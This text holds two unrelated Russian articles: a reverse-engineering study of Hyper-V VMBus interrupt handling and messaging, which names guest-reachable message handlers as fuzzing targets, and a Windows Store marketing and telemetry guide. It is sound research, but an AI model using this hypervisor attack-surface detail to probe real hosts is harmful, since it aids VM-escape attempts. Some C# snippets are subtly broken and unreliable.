Во время написания статьи в качестве Hyper-V-сервера и гостевой ОС использовалась Windows Server 2012 R2 Update 1 (тип машины — Generation 1), но для отражения некоторых особенностей работы шины были использованы и другие версии операционных систем Windows, что явно будет указано в статье. Тестовую среду лучше разворачивать в VMware Workstation 2014 July TechPreview или поздних, поскольку в более ранних версиях баг в Workstation не позволяет выполнять отладку виртуальных машин по сети (либо необходимо в конфигурации виртуальной машины принудительно указывать использование UEFI). Также в дальнейшем будет подразумеваться, что стенд развернут на аппаратной платформе Intel и функции гипервизора реализованы в hvix64.exe.
> ### Термины и определения
>
>
>
> * Root-раздел (родительский раздел, root ОС) — Windows Server 2012 R2 с включенным компонентом Hyper-V;
> * Гостевая ОС — виртуальная машина Hyper-V с установленной Windows Server 2012 R2;
> * TLFS — Hypervisor Top-Level Functional Specification: Windows Server 2012 R2;
> * LIS — Linux Integration Services;
> * ACPI — Advanced Configuration and Power Interface
>
>
>
>
> #### О Vmbus
>
>
>
> [Статья MSDN Hyper-V Architecture](http://goo.gl/ZKQDTp)
>
>
>
>
Если говорить кратко, то VMBus — это технология взаимодействия гостевых операционных систем и root ОС. Соответственно, как в гостевой, так и в root ОС присутствуют компоненты, реализующие это взаимодействие через интерфейсы, предоставляемые гипервизором и описанные в TLFS 4.0. Microsoft разрабатывает гостевые компоненты для операционных систем семейства Linux, которые интегрированы в ядро Linux и выложены отдельно на GitHub: [github.com/LIS/LIS3.5](https://github.com/LIS/LIS3.5).
Начиная с Windows Server 2008 в ядре Windows появились функции, оптимизирующие работу операционной системы в виртуальной среде Hyper-V. Для сравнения, в ядре Windows Server 2008 (x64) реализовано всего 25 функций с префиксом Hvl, который идентифицирует их принадлежность к библиотеке интеграции с гипервизором, в Windows Server 2012 R2 уже присутствует 109 Hvl-функций.
Рассмотрим, каким же образом компоненты шины VMBus взаимодействуют с гипервизором, root ОС и гостевой ОС. Сперва заглянем в исходные коды LIS и увидим, что VMBus — это устройство, поддерживающее ACPI. ACPI позволяет стандартизировать аппаратную платформу для различных операционных систем и реализован в Hyper-V (как, впрочем, и в других популярных платформах виртуализации), что позволяет использовать стандартные утилиты для получения необходимой для исследования информации.
ACPI-устройства можно просмотреть при помощи утилиты ACPI tool, входящей в старую версию AIDA64 (в более поздних она была удалена). С ее помощью в \_SB.PCI0.SBRG обнаруживаются два устройства: VMB8 и VMBS (см. рис. 1).
Рис. 1. Устройства VMB8 и VMBS
Сдампим ACPI DSDT (Differentiated System Description Table) таблицу, которая содержит информацию о периферийных устройствах и дополнительных функциях аппаратной платформы, с помощью той же утилиты ACPI Tool и декомпилируем [AML-дизассемблером](http://goo.gl/1pOZPX) в ASL. Получим дамп, показанный на рис. 2.
Рис. 2. Дамп ASL
Поверхностное чтение Advanced Configuration and Power Interface Specification 5.0 дало понять, что в случае, если гостевая ОС — Windows 6.2 и выше, то будет задействовано устройство VMB8, в противном случае — VMBS. Единственное отличие этих устройств — объект \_UID (Unique ID), который присутствует в VMB8. Если верить спецификации на ACPI, то присутствие этого объекта в таблице опционально и требуется только в том случае, если устройство не может иными способами предоставить операционной системе постоянный уникальный идентификатор устройства. Также стали известны ресурсы, которое использует устройство, — прерывания 5 и 7.
Для сравнения: в виртуальной машине типа Generation 2 присутствует только устройство VMBS, размещенное в \_SB\_.VMOD.VMBS (но с объектом \_UID), которое использует только прерывание 5 (см. рис. 3).
Рис. 3. Часть ASL дампа Gen2
### Обработка прерываний в виртуальной среде
В Windows обработку прерываний выполняют процедуры, зарегистрированные в таблице диспетчеризации прерываний (IDT). Между обнаруженными нами в ACPI DSDT IRQ 5 и 7 и обработчиками в IDT прямой связи нет, и для того, чтобы сопоставить прерыванию его обработчик, Windows использует арбитр прерываний (вообще, существует несколько классов арбитров, помимо IRQ, — DMA, I/O, memory).
> ### WWW
>
>
>
> Все об арбитрах в блоге MSDN
>
>
>
> [goo.gl/FuvG4R](http://goo.gl/FuvG4R)
>
> [goo.gl/V3UV8z](http://goo.gl/V3UV8z)
>
> [goo.gl/h1vXaf](http://goo.gl/h1vXaf)
>
>
>
>
Информацию о зарегистрированных арбитрах можно увидеть в WinDBG при помощи команды !acpiirqarb.
kd\> !acpiirqarb — Для гостевой Windows Server 2012 R2 Gen1 (рис. 4):
Рис. 4. !acpiirqarb Windows Server 2012 R2 Gen1 Guest
Вывод команды показывает, что для IRQ 7 адрес обработчика будет находиться в 0x71 элементе IDT, для IRQ 5 — в 0x81. Генерация номеров обработчиков прерываний происходит в функции acpi!ProcessorReserveIdtEntries на этапе построения дерева устройств PnP-менеджером, когда функциональный драйвер устройства еще не загружен. Регистрация ISR в IDT происходит уже на более поздних этапах, например при выполнении процедуры IoConnectInterrupt самим драйвером устройства. Однако, просмотрев элементы IDT, мы увидим, что ISR для прерываний 0x71 и 0x81 не зарегистрированы:
```
kd\> !idt -a
…………………………………………………………………………………………………………………………….
71: fffff80323f73938 nt!KxUnexpectedInterrupt0+0x388
81: fffff80323f739b8 nt!KxUnexpectedInterrupt0+0x408
…………………………………………………………………………………………………………………………….
```
В Windows Server 2012 R2 Gen2 для IRQ 5 был сопоставлен 0x90-й элемент IDT.
```
kd\> !acpiirqarb
Processor 0 (0, 0):
Device Object: 0000000000000000
Current IDT Allocation:
0000000000000000 - 0000000000000050 00000000 \
A:0000000000000000 IRQ(GSIV):10
0000000000000090 - 0000000000000090 D ffffe001f35eb520 (vmbus)
A:ffffc00133972660 IRQ(GSIV):5
…………………………………………………………………………………………………………………………….
```
Однако, как показывает отладчик, ISR-процедура для вектора 0x90 также не определена:
```
kd\> !idt -a
90: fffff8014a3daa30 nt!KxUnexpectedInterrupt0+0x480
```
В Windows 8.1 x86 мы видим несколько иную картину:
```
kd\> !acpiirqarb
Processor 0 (0, 0):
Device Object: 00000000
Current IDT Allocation:
…………………………………………………………………………………………………………………………….
0000000000000081 - 0000000000000081 D 87f2f030 (vmbus) A:881642a8
IRQ(GSIV):fffffffe — такие значения обычно характерны для
MSI-устройств.
…………………………………………………………………………………………………………………………….
00000000000000b2 - 00000000000000b2 S B 87f31030 (s3cap) A:8814b840
IRQ(GSIV):5
```
При этом для прерывания с номером 0x81 определена ISR-процедура vmbus!XPartPncIsr:
```
kd\> !idt
81: 81b18a0c vmbus!XPartPncIsr (KINTERRUPT 87b59e40 - (см. рис. 5))
b2: 81b18c58 nt!KiUnexpectedInterrupt130
```
s3cap — вспомогательный драйвер для работы с эмулируемой Hyper-V видеокартой S3 Trio.
Vmbus interrupt object
Таким образом, ISR vmbus!XPartPncIsr регистрируется в IDT только в Windows 8.1 x86 (предположительно, в других x86 операционных системах, которые Microsoft поддерживает в качестве гостевых ОС для Hyper-V, используется такой же метод). Процедура vmbus!XPartPncIsr используется для обработки прерываний, генерируемых гипервизором.
В x64-битных системах, начиная с Windows 8\Windows Server 2012, интеграция с гипервизором реализована несколько иначе. В IDT операционных систем были добавлены обработчики системных прерываний, генерируемых гипервизором. Кратко рассмотрим, каким образом формируется IDT на этапе загрузки Windows.
После инициализации загрузчика Windows winload.efi IDT выглядит следующим образом (вывод скрипта на pykd в точке останова WinDBG в winload.efi при загрузке операционной системы с параметром /bootdebug):
```
kd\> !py D:\\hyperv4\\idt\_winload\_parse.py
isr 1 address = winload!BdTrap01
isr 3 address = winload!BdTrap03
isr d address = winload!BdTrap0d
isr e address = winload!BdTrap0e
isr 29 address = winload!BdTrap29
isr 2c address = winload!BdTrap2c
isr 2d address = winload!BdTrap2d
```
Затем во время выполнения winload!OslArchTransferToKernel IDT обнуляется, управление передается ядру Windows, где в функции nt!KiInitializeBootStructures IDT инициализируется значениями из таблицы KiInterruptInitTable:
```
kd\> dps KiInterruptInitTable L40
……………………………………………………………………………………….
fffff800\`1b9553c0 00000000\`00000030
fffff800\`1b9553c8 fffff800\`1b377160 nt!KiHvInterrupt
fffff800\`1b9553d0 00000000\`00000031
fffff800\`1b9553d8 fffff800\`1b3774c0 nt!KiVmbusInterrupt0
fffff800\`1b9553e0 00000000\`00000032
fffff800\`1b9553e8 fffff800\`1b377810 nt!KiVmbusInterrupt1
fffff800\`1b9553f0 00000000\`00000033
fffff800\`1b9553f8 fffff800\`1b377b60 nt!KiVmbusInterrupt2
fffff800\`1b955400 00000000\`00000034
fffff800\`1b955408 fffff800\`1b377eb0 nt!KiVmbusInterrupt3
……………………………………………………………………………………….
```
Соответственно, обработчики системных прерываний 0x30–0x34 после завершения инициализации будут выглядеть следующим образом:
```
kd\> !idt
……………………………………………………………………………………….
30: fffff8001b377160 nt!KiHvInterrupt
31: fffff8001b3774c0 nt!KiVmbusInterrupt0
32: fffff8001b377810 nt!KiVmbusInterrupt1
33: fffff8001b377b60 nt!KiVmbusInterrupt2
34: fffff8001b377eb0 nt!KiVmbusInterrupt3
……………………………………………………………………………………….
```
Виртуальную машину второго поколения в Hyper-V можно создать только на базе ОС, содержащих в ядре пять описанных выше дополнительных обработчиков. В целях генерации прерываний Intel представляет аппаратную функцию virtual interrupt delivery, однако Hyper-V не использует указанную возможность для передачи управления на эти обработчики. Вместо этого в гипервизоре происходит активация бита, соответствующего номеру вектора, в специальной области памяти с помощью инструкции вида lock bts [rcx+598h], rax, где rax — номер вектора прерывания (0x30–0x32), так что, возможно, разработчики Hyper-V сочли вариант с регистрацией процедуры vmbus!XPartPncIsr в качестве обработчика менее производительным решением, чем вариант генерации прерываний посредством виртуализации APIC на основе данных в виртуальных регистрах SINTx.
Указанные обработчики регистрируются в IDT даже в том случае, если операционная система работает вне среды Hyper-V. Каждый обработчик вызывает HvlRouteInterrupt, передавая индекс в качестве параметра (см. рис. 6).
Рис. 6. Дополнительные системные обработчики ядра Windows
HvlRouteInterrupt выглядит следующим образом (рис. 7).
Рис. 7. HvlRouteInterrupt
Эта функция вызывает обработчик из массива указателей HvlpInterruptCallback в зависимости от значения индекса. Этот массив в root ОС выглядит так:
```
5: kd\> dps HvlpInterruptCallback
fffff802\`fff5cc30 fffff800\`dc639d50 winhvr!WinHvOnInterrupt
fffff802\`fff5cc38 fffff800\`dd5a9ec0 vmbusr!XPartEnlightenedIsr
fffff802\`fff5cc40 fffff800\`dd5a9ec0 vmbusr!XPartEnlightenedIsr
fffff802\`fff5cc48 fffff800\`dd5a9ec0 vmbusr!XPartEnlightenedIsr
fffff802\`fff5cc50 fffff800\`dd5a9ec0 vmbusr!XPartEnlightenedIsr
fffff802\`fff5cc58 00000000\`00000000
```
XPartEnlightenedIsr по индексу, переданному из KiVmbusInterruptX, добавляет в DPC-очередь одну из двух возможных функций из массива DPC-структур в vmbusr: vmbusr!ParentInterruptDpc или же vmbusr!ParentRingInterruptDpc (рис. 8).
Рис. 8. DPC-объекты
Количество структур DPC в массиве определяется функцией vmbusr!XPartPncPostInterruptsEnabledParent и зависит от количества логических процессоров в root ОС. Для каждого логического процессора добавляется DPC c vmbusr!ParentInterruptDpc и vmbusr!ParentRingInterruptDpc. Функция vmbusr!ParentRingInterruptDpc определяет адрес DPC-процедуры для nt!KeInsertQueueDpc исходя из того, на каком процессоре выполняется в текущий момент.
В гостевой ОС VMBus регистрирует в массиве HvlpInterruptCallback только один обработчик:
```
1: kd\> dps HvlpInterruptCallback
fffff803\`1d171c30 fffff800\`6d7c5714 winhv!WinHvOnInterrupt
fffff803\`1d171c38 fffff800\`6d801360 vmbus!XPartEnlightenedIsr
fffff803\`1d171c40 00000000\`00000000
```
Массив HvlpInterruptCallback заполняется с помощью экспортируемой ядром функции nt!HvlRegisterInterruptCallback. Обработчик WinHvOnInterrupt регистрируется при загрузке драйвера winhvr.sys (winhvr!WinHvpInitialize-> winhvr!WinHvReportPresentHypervisor-> winhvr!WinHvpConnectToHypervisor-> nt!HvlRegisterInterruptCallback)/
Остальные четыре обработчика регистрируются драйвером vmbusr.sys при его загрузке PnP-менеджером (vmbusr!RootDevicePrepareHardwareParent-> nt!HvlRegisterInterruptCallback).
Попробуем разобраться, каким же образом гипервизор передает управление на обработчики системных прерываний. Для этого необходимо обратиться к разделу Virtual Interrupt Control в TLFS. Если кратко, то Hyper-V управляет прерываниями в гостевой ОС через синтетический контроллер прерываний (SynIC), который является расширением виртуализованного локального APIC и использует дополнительный набор регистров, отображаемых на память (memory mapped registers). То есть каждый виртуальный процессор, помимо обычного APIC, обладает дополнительным SynIC. SynIC содержит две страницы: SIM (synthetic interrupt message) и SIEF(synthetic interrupt event flags). SIEF и SIM — это массивы из 16 элементов, размер элемента — 256 байт. Физические адреса (если быть точнее — GPA) этих массивов расположены в MSR-регистрах SIEF и SIMP соответственно. Адреса этих страниц для каждого логического процессора будут разными. Также для SynIC определены 16 регистров SINTx. Каждый из элементов массивов SIEF и SIM сопоставлен с соответствующим регистром SINTx. WinDBG показывает содержимое регистров SINTx с помощью команды !apic (начиная с WinDBG 6.3).
!apic в root ОС
!apic в гостевой ОС
Конфигурирование регистров SINT0 и SINT1 выполняется функцией nt!HvlEnlightenProcessor путем записи параметров в MSR-регистры 40000090h и 40000091h соответственно. SINT4 и SINT5 конфигурируются драйвером vmbusr.sys: vmbusr!XPartPncPostInterruptsEnabledParent-> winhvr!WinHvSetSint->winhvr!WinHvSetSintOnCurrentProcessor. SINT2 в гостевой ОС конфигурируется драйвером vmbus.sys в функции winhv!WinHvSetSintOnCurrentProcessor.
В каждом SINTx присутствует 8-битное поле Vector. От значения этого поля зависит то, какой процедуре обработки прерываний будет передано управление при выполнении гипервызовов, в параметрах которых задается PortID (HvSignalEvent, HvPostMessage).
SINTx может быть задан неявно (например, для сообщения перехвата всегда будет контролироваться регистром SINT0 и соответственно располагаться в первом элементе страница SIM), явно (для сообщений таймера) или же указан в параметрах порта, созданного с помощью гипервызова HvCreatePort. Одним из параметров является PortTypeInfo. Если тип порта — HvPortTypeMessage или HvPortTypeEvent, то в параметре PortTypeInfo присутствует TargetSint, содержащий номер SINT, к которому будет привязан порт и значение которого может быть в пределах от 1 до 15 (SINT0 зарезервирован для сообщений от гипервизора и не может быть указан в качестве TargetSint при создании порта).
Анализ значений активных регистров SINT в root ОС показывает, что в работе будут задействованы только три обработчика системных прерываний (KiHvInterrupt, KiVmbusInterrupt0, KiVmbusInterrupt1) из пяти. В каких целях в ядро были добавлены системные обработчики KiVmbusInterrupt2 и KiVmbusInterrupt3, обнаружить не удалось. Возможно, они будут нужны на серверах с большим количеством логических процессоров (например, 64), но, к сожалению, в тестовой среде это проверить не удалось. Также по значениям регистров SINTx видно, что обработчик nt!KiHvInterrupt (вектор 30) будет вызываться как при генерации прерываний от гипервизора, так и через порты, созданные с параметром TargetSint, равным 1.
### Windows и TLFS
Для примера рассмотрим параметры портов, создаваемых при активации каждого из сервисов гостевых компонентов интеграции Hyper-V. На рис. 11 приведены характеристики портов, создаваемых для работы служб интеграции (по одному порту для каждого компонента).
Рис. 11. Порты служб интеграции
Взаимодействие root ОС и гостевой ОС в ходе работы компонентов Integration Services происходит через 5-й элемент массива SIEF, то есть обработчиком в root ОС будет KiVmbusInterrupt1.
Номер каждого следующего создаваемого порта равен предыдущему, увеличенному на 1. То есть если отключить все сервисы интеграции и затем включить их повторно, то номера портов, создаваемых для этих сервисов, будут находиться в диапазоне от 0x22 до 0x27.
Параметры порта можно увидеть, если подключиться отладчиком непосредственно к гипервизору и отслеживать данные, передаваемые обработчику гипервызова HvCreatePort, или же подключиться отладчиком к ядру и отслеживать параметры функции WinHvCreatePort в драйвере winhvr.sys.
Остальные порты, которые создаются при включении гостевой ОС (количество портов зависит от конфигурации гостевой операционной системы), представлены на рис. 12. Нумерация приведена в порядке создания портов при включении виртуальной машины Windows Server 2012 R2 с конфигурацией оборудования по умолчанию.
Рис. 12. Порты, создаваемые при запуске виртуальной машины00000000000000.
Важно отметить тот факт, что нулевой слот SIM как в гостевой, так и в родительской ОС зарезервирован для передачи сообщений от гипервизора. Формат таких сообщений документирован в TLFS. При передаче данных через оставшиеся слоты используется иной формат данных. Сообщения VMBus не документированы, но необходимая информация для работы с ними присутствует в исходных кодах LIS.
Некоторая информация об обработке VMBus-сообщений драйвером vmbusr.sys (см. рис. 13). Такие сообщения в root ОС обрабатывает функция vmbusr!ChReceiveChannelMessage, которая анализирует содержимое 4-го слота SIM и определяет код VMBus-сообщения. Если он равен 0 (CHANNELMSG\_INVALID) или же больше 0x12, то функция возвращает ошибку и 0xC000000D (STATUS\_INVALID\_PARAMETER). В противном случае функция обрабатывает переданное гостевой или root ОС сообщение. Например, при включении компонента Guest Services root ОС отправляет гостевой ОС сообщение CHANNELMSG\_OFFERCHANNEL, в ответ гостевая ОС отправляет сообщение CHANNELMSG\_GPADL\_HEADER, затем root ОС отправляет CHANNELMSG\_GPADL\_CREATED, получает обратно сообщение CHANNELMSG\_OPENCHANNEL и в завершение диалога отправляет гостевой ОС сообщение CHANNELMSG\_OPENCHANNEL\_RESULT с кодом результата выполнения операции по созданию канала. Стоит обратить внимание на то, что перед обработкой каждого валидного сообщения функция ChReceiveChannelMessage выполняет проверку переданного сообщения (ChpValidateMessage), в частности на предмет того, кто является отправителем (root ОС или гостевая ОС), минимального размера тела сообщения. Для каждого типа сообщения заданы свои условия проверки. На рис. 13 отмечены те сообщения, которые будут обрабатываться в случае их отправки гостевой ОС (могут быть интересны, например, для создания фаззера).
Рис. 13. VMBus-сообщения, обрабатываемые драйвером vmbusr.sys
Для того чтобы понять, какими же сообщениями обмениваются root ОС и гостевая ОС, мы напишем драйвер, который заменяет адреса обработчиков из массива HvlpInterruptCallback в root ОС на свои собственные обработчики. Но об этом — в следующей статье.
### Заключение
В первой части статьи были проанализированы изменения ядра операционной системы, внесенные Microsoft для оптимизации работы в виртуальной среде, влияющие на работу VMBus. В этом номере ][ мы разобрали теорию, а в следующем будет опубликована практическая часть исследования, поэтому запасайся терпением.
[](http://xakep.ru/issue/xa-190/)
*Впервые опубликовано в журнале «Хакер» от 11/2014.*
Подпишись на «Хакер»
* [Бумажный вариант](http://bit.ly/habr_subscribe_paper)
* [«Хакер» на iOS/iPad](http://j.mp/Xakep_ipad_xakep_ru)
* [«Хакер» на Android](http://j.mp/Xakep_android_xakep_ru)
[](http://j.mp/Xakep_ipad_xakep_ru)
[](http://j.mp/Xakep_android_xakep_ru) | https://habr.com/ru/post/242699/ | null | ru | null |
# Windows 10 по 10. Выпуск #1. Как повысить заметность и частоту установок
Приветствуем в первой статье из [серии Windows 10 по 10](http://wndw.ms/10x10anchor). Мы начнем серию с того, откуда начинается ваше взаимодействие с пользователями — с магазина Windows Store.
Чтобы убедиться, что ваши приложения находятся и запускаются пользователями Windows 10, рекомендуем проделать три упражнения прямо сейчас:
1. Обновить описание в магазине для повышения шансов приложения быть установленным.
2. Начать отслеживать использование приложения с помощь Visual Studio Application Insights и новых отчетов об использовании.
3. Научиться использовать новые возможности магазина для отслеживания успешности проводимых кампаний.
Даже если вы просто потратите *один час на этой неделе*, вы не только улучшите свое представительство в Windows 10, но и также сможете определить для себя базовые показатели, от которых вы сможете отталкиваться по мере развития и улучшения вашего приложения.
Обновите описание своего приложения
-----------------------------------
Итак, давайте начнем с представления вашего приложения в Windows Store, именно тут пользователи тратят свое время, разглядывая ваше предложение и решая, нажать ли кнопку для установки вашего Windows приложения и дать ли вам шанс. Это первое место взаимодействия с вашим пользователем.
### Облегчите поиск вашего приложения для потенциальных пользователей
Чтобы должным образом быть представленным в результатах поиска в магазине, вам стоит следовать наши [рекомендациям по выбору ключевых слов](https://msdn.microsoft.com/ru-ru/library/windows/apps/mt148529.aspx#keywords): вы можете использовать до 8 ключевых слов, которые *действительно* описывают ваше приложение. Если вы не имеете отношения к Facebook или Twitter, не стоит тратить слова на то, чтобы сделать вид, что имеете.
Мы также встроили показ описания из магазина внутри различных элементов Windows, помогая пользователям находить приложения и игры, релевантные их текущим задачам. Например, при поиске с помощью Кортаны, в результатах показываются не только установленные приложения и имеющиеся документы, но также и релевантные результаты из Windows Store и интернета – тем самым помогая вам увеличить число своих пользователей на Windows 10. Имейте эти сценарии в виду, решая, какие ключевые слова использовать для описания приложения.
Мы также крайне рекомендуем предоставить [рекламные изображения](https://msdn.microsoft.com/ru-ru/library/windows/apps/mt148527.aspx#promo) как часть вашего описания в магазине. Эти изображения используются для продвижения ваших приложений в различных местах, если оно было выбрано для подборки приложений (фичеринга). Если вы не предоставили такие изображения, как бы хорошо не было бы ваше приложение, оно не будет поставлено в продвижение. Для Windows 10 мы добавили новый формат изображения 2400x1200px, который команда магазина использует в промо-кампаниях и в частности, как главное изображение в подборке “Spotlight”. Если вы хотите, чтобы ваше приложение рассматривали для продвижения, потратьте немного времени на этой неделе и добавьте к описанию рекламные изображения, особенно размера 2400x1200px.
И пока мы не отошли далеко от этой темы, познакомьтесь с остальными [требованиями для включения в рассмотрение на продвижение в Windows Store](https://msdn.microsoft.com/ru-ru/library/windows/apps/jj923071.aspx). Впрочем, тут важно отметить, что добавление всех нужных изображений и удовлетворение всем требованиям на продвижение еще не являются гарантией, что вас поставят в промо; однако не соответствие требованиям точно означает, что вас *не будут* рассматривать.
### Убедитесь, что ваше приложение захотят устанавливать
Отлично! Предположим, вам удалось получить долю внимания пользователей, и они перешли к описанию вашего приложения в магазине. Что они там увидят?
Страница описания вашего приложения – это первое место, где ваши потенциальные пользователи составят свое начальное мнение о приложении и решат, хотят ли они его ставить или нет. Здесь вы «продаете» свое решение всему миру. Простая аналогия – это обложка книги. Если вы не можете визуально рассказать, что именно вы предлагаете, используя всего несколько слов, велики шансы, что пользователь пойдет дальше к кому-нибудь еще.
К удивлению, большинство разработчиков уделяют крайне мало внимания описанию своих приложений в магазине. Чтобы подготовить новых пользователей к первой встрече с вашим приложением, самое время пересмотреть свое описание, применив ряд свежих советов:
* [Описание приложения](https://msdn.microsoft.com/ru-ru/library/windows/apps/mt148564.aspx) должно объяснять преимущества приложения в первых же предложениях. Магазин обычно обрезает описания и показывает только первые несколько строчек (см. скриншот с приложением Remote Desktop выше). Убедитесь, что все ключевые мысли доносятся до «линии отреза», чтобы пользователи были заинтересованы прочитать подробности.
* Ваши снимки экрана должны быть интересными и понятными – особенно самый первый снимок (не используйте для него заголовочный экран с названием). Убедитесь, что изображения должным образом описывают ваше приложение или игру. Вы также можете добавить к изображениям поясняющий текст, чтобы лучше объяснить пользователям, на что они смотрят. Чтобы сделать хорошие изображения, вам могут понадобиться инструменты: вы можете использовать любой подходящий продукт – от бесплатных [Paint.net](http://wndw.ms/paint) и [GIMP](http://wndw.ms/gimp2) до таких платных продуктов, как Adobe Photoshop/Illustrator.
* Если ваше приложение локализуется на множество рынков, убедитесь, что снимки экрана и описания также переведены. (В качестве дополнительного совета, если вы у вас уже есть приложения под Windows и вы хотите локализовать его на новые рынки, в рамках программы [Dev Center Benefits](http://wndw.ms/devbenefits2) вы можете получить существенные скидки на сервисы локализации от Lionbridge.)
Аналогично случаю с отсутствием рекламных изображений, огромное количество приложений в магазине прошло мимо возможностей продвижения вследствие того, что у них не было адекватного описания или их снимки экрана были просто заголовочными кадрами. Не дайте этому произойти с вашим приложением!
Начните измерять успех
----------------------
Теперь, когда вы разобрались со страницей описания в магазине и убедили пользователей попробовать ваше приложение или вашу игру, давайте посмотрим, как понять, что ваша «продажа» была успешной. В центре разработчика для Windows мы недавно сделали несколько важных обновлений, улучшив возможности работы с отчетами. В статье мы посмотрим на два из них: [отчеты об использовании приложений](https://msdn.microsoft.com/ru-ru/library/windows/apps/mt148557.aspx) и возможность [отслеживания кампаний](https://msdn.microsoft.com/en-us/library/windows/apps/mt186438.aspx), которая скоро появится.
[Отчет об использовании](https://msdn.microsoft.com/ru-ru/library/windows/apps/mt148557.aspx) предоставляет детальный взгляд на то, как ваше приложение используется и кем. Если вы зайдете в информационную панель (Dashboard) и посмотрите на отчет сегодня, вы обнаружите, что сейчас он пустой, и также, что он просит вас установить [Visual Studio Application Insights SDK](http://wndw.ms/appinsights) в ваше приложение. Для тех, кто не знаком с Application Insights, это сервис для сбора телеметрии от вашего приложения, использующий Azure для хранения (бесплатно) и представления информации. Центр Windows-разработчика имеет доступ к этой информации и поэтому имеет возможность показывать вам, как пользователи используют ваше приложение.
В Visual Studio 2015 или 2013 вы можете добавить Application Insights в ваше приложение буквально за 10 минут. Для начала откройте ваше Windows-приложение (Windows 8 или 10 – для десктопа или смартфона), и сделайте следующее:
* Нажмите правой кнопкой мыши на проект в Visual Studio и выберите пункт ‘Add Application Insights Telemetry…’
* Application Insights запустит помощника, который поможет вам добавить сервис в Windows. Как часть этого процесса, он спросит вас, где вы хотите сохранять ваши данные (если у вас еще нет бесплатного Azure-аккаунта, нужно будет его создать).
* Как только вы пройдете все шаги с помощником, он настроит ваш проект для сбора телеметрии.
После этого вы сможете почти в реальном времени наблюдать в Azure, сколько людей использует ваше приложение. Собираемая телеметрия может рассказать вам много про ваше приложение, в частности, куда направить усилия по разработке, так как вы можете замерять, как используется конкретная функциональность приложения, сколькими людьми и как долго.
Как только вы опубликуете приложение в магазин и включите настройку сбора телеметрии приложения в информационной панели в центре Windows-разработчика (в настройках аккаунта), данные станут видны также в [отчетах об использовании](https://msdn.microsoft.com/ru-ru/library/windows/apps/mt148557.aspx).
Также вы можете использовать класс [TelemetryClient](http://wndw.ms/telemetry) для сбора дополнительных данных, например, просмотров страниц (или даже использование вкладок в элементах управления пивот и хаб), событий, которые вы бы хотели отслеживать, и исключений. Помимо базовой телеметрии по страницам, которую вы получаете, используя Application Insights, вы можете воспользоваться отслеживанием исключительных ситуаций, чтобы почти в реальном времени узнавать о проблемах пользователей (особенно полезно при публичном выпуске очередного обновления). Ниже приведен пример кода для сбора информаии об исключениях:
```
try
{
// ...
}
catch (Exception ex)
{
var TelemetryClient telemetry = new TelemetryClient();
telemetry.TrackException(ex);
}
```
По мере того, как вы освоитесь с подключением аналитики, вы можете начать измерять любые интересующие вас параметры. Например, код ниже замеряет, сколько времени требуется для выполнения задачи:
```
var stopwatch = System.Diagnostics.Stopwatch.StartNew();
// ... perform the timed action ...
stopwatch.Stop();
var metrics = new Dictionary
{{"processingTime", stopwatch.Elapsed.TotalMilliseconds}};
// Set up some properties:
var properties = new Dictionary
{{"signalSource", currentSignalSource.Name}};
// Send the event:
var TelemetryClient telemetry = new TelemetryClient();
telemetry.TrackEvent("SignalProcessed", properties, metrics);
```
Для моего персонального приложения (оно сильно завязано на веб-сервис) я нашел полезным отслеживать, когда вызовы веб-сервиса приводят к плохим оценкам и в каких странах больше всего проблем с приложением. Со временем, пока я попробовал разные подходы на стороне сервиса (сбор серверных ошибок, кеширование и т.п.), я также использовал телеметрию для отслеживания влияния на вовлечение пользователей (например, по времени, проведенному в приложении) и общее удовлетворение приложением (улучшения рейтинга в конкретных регионах). Все это позволяет лучше измерять успех приложения.
Более подробно о работе с телеметрией можно почитать в прошлогодней [статье от инженерной команды, написанной Крейгом Брокшмидтом](http://wndw.ms/advancedtelemetry). (Только учтите, что в момент написания статьи мы все еще разрабатывали Application Insights. Сегодня, когда сервис широко доступен, работа с ним намного проще!)
Начните продвигать себя самостоятельно
--------------------------------------
Имея на руках базовое понимание ваших пользователей, самое время отвернуть кран и направить трафик на ваше приложение. Когда вы будете это планировать, обратите внимание на следующие возможности, открываемые вам магазином приложений:
* Начиная свои кампании по продвижению, начните используйте механизм трекинга кампании (раскатывается для разработчиков в этом месяце), чтобы понимать, какая из них приносит больше пользователей.
* Включайтесь в [программу Microsoft Affiliate](http://wndw.ms/MSaffiliate), которая дает возможность за счет реферальных ссылок получать 7% комиссию от платежей в магазине Windows Store.
* Центр Windows-разработчика облегчает ведение рекламных кампаний для продвижения ваших приложений.
### Анализ успешности продвижения
Воспользоваться [возможностью отслеживания кампаний](https://msdn.microsoft.com/en-us/library/windows/apps/mt186438.aspx) – это, пожалуй, самый простой способ понять, откуда приходят новые пользователи. Эта функциональность работает примерно также, как часто используемые для анализа трафика пользователей сервисы перенаправления URL (например, bit.ly):
1. Добавьте ID для отслеживания “кампании” в конце адреса вашего приложения в магазине (вы его можете найти в секции управления приложением на странице со сведениями идентификации приложений в центре разработчика). ID для отслеживания – это простая строка и может быть чем угодно, что имеет смысл для вас.
2. Начните использовать такие ссылки, добавляя в конце ID, соответствующие парамерты в следующем формате:
> [www.microsoft.com/store/apps/yourAppName/yourAppProductID?cid=yourCampaignID](https://www.microsoft.com/store/apps/yourAppName/yourAppProductID?cid=yourCampaignID)
Например, вы хотите продвигать Skype (с Product ID, равным 9wzdncrfj364) и вы планируете использовать разные каналы. Вы можете запустить, скажем, следующие три кампании:
* Блог: [www.microsoft.com/store/apps/skype/9wzdncrfj364?cid=app\_blog](https://www.microsoft.com/store/apps/skype/9wzdncrfj364?cid=app_blog)
* Twitter: [www.microsoft.com/store/apps/skype/9wzdncrfj364?cid=app\_twitter](https://www.microsoft.com/store/apps/skype/9wzdncrfj364?cid=app_twitter)
* Обзор приложения на некотором сайте с обзорами [www.microsoft.com/store/apps/skype/9wzdncrfj364?cid=rev\_HotApps](https://www.microsoft.com/store/apps/skype/9wzdncrfj364?cid=rev_HotApps)
3. В отчете по каналам и конверсии в информационной панели центра Windows-разработчика вы сможете изучить результаты (ниже пример отчета):
**Замечание**: отчеты по каналам и конверсиям станут доступны все разработчикам в ближайшие недели.
Другой интересный параметр для исследования – это понять, смогла ли кампания привести к хорошей конверсии в пользователей. Отчет позволяет понять, купили ли пользователи приложение (или встраиваемую покупку) в течение 24 часов после перехода по ссылке, базируясь на Microsoft-аккаунте, который пользователь использовал при заходе по ссылке.
